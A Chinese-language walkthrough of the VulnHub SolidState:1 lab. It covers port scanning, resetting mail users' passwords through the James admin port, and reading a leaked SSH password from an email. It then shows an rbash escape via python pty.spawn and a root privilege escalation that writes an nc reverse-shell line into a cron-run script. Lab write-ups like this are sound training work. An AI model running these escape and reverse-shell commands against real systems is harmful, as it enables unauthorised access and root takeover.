VulnHub-SolidState: 1 靶場滲透測試
時間:2021.8.17
靶場資訊:
地址:https://www.vulnhub.com/entry/solidstate-1,261/
釋出日期:2018年9月12日
目標:得到root許可權&找到flag.txt
一、資訊收集
1、獲取靶機IP地址
nmap -sP 192.168.137.0/24
由探測結果可知,靶機的IP為192.168.137.144
2、掃描開放的埠和服務
nmap -sS -sV -T5 -p- 192.168.137.144
得到開放的埠資訊:
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) 25/tcp open smtp JAMES smtpd 2.3.2 80/tcp open http Apache httpd 2.4.25 ((Debian)) 110/tcp open pop3 JAMES pop3d 2.3.2 119/tcp open nntp JAMES nntpd (posting ok) 4555/tcp open james-admin JAMES Remote Admin 2.3.2
3、網站資訊收集
開啟,發現只是一些介紹的資訊,用nikto,dirb,gobuster掃了一波,也沒發現什麼有用的
二、漏洞探測
前面通過nmap掃到了4555埠,搭建了一個james郵件伺服器,使用telnet連線
使用listusers列出所有使用者,後面肯定是想著登入這些使用者的郵箱裡檢視郵件的,所以這裡將所有使用者的密碼重置一下
user: james
user: thomas
user: john
user: mindy
user: mailadmin
有了pop3的使用者名稱和密碼,登入檢視郵件,james裡面沒發現郵件
john下發現一封沒有價值的郵件
在mindy使用者的郵箱中發現了一封記錄著mindy ssh登入密碼的郵件
username: mindy
pass: P@55W0rd1!2@
有了密碼就ssh登入看看,發現是一個rbash(限制型bash),是平時所謂的 restricted shell的一種,也是最常見的 restricted shell(rbash、ksh、rsh等)
檢視當前目錄發現user.txt得到flag1,還發現一個bin目錄,裡面記錄著可以使用的shell命令
三、漏洞利用
滲透中遇到restricted shell是一件很煩人的事,可以參考下面這篇文章來突破:
這裡我們在ssh 登入時可以通過spawn shell逃逸
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'"
也可以根據前面探測到的james來利用,這個版本存在遠端命令執行的漏洞,漏洞的exp可參考:
將exp下載到kali上,也可以在kali上搜索到對應的exp,然後稍微修改exp即可使用。
這裡還是用rbash逃逸來進行滲透,由於之前探測到有james,我們查詢對應的程序,發現james在/opt目錄下
進入opt目錄下,發現一個一root身份執行的py指令碼,檢視發現是清理/tmp目錄的
四、提權
猜想應該是定時任務,我們修改tmp.py,直接讓它反彈一個root許可權的shell
echo 'import os; os.system("/bin/nc 192.168.137.150 8888 -e /bin/bash")' > /opt/tmp.py
在kali這邊監聽8888埠,大概兩分鐘就會反彈shell過來,檢視flag即可
總結
這臺靶機目的是讓我們掌握Apache James Server 2.3.2的漏洞利用方式,提權的方式之前也接觸過許多次,總體難度還不錯。
趁著年輕,多學些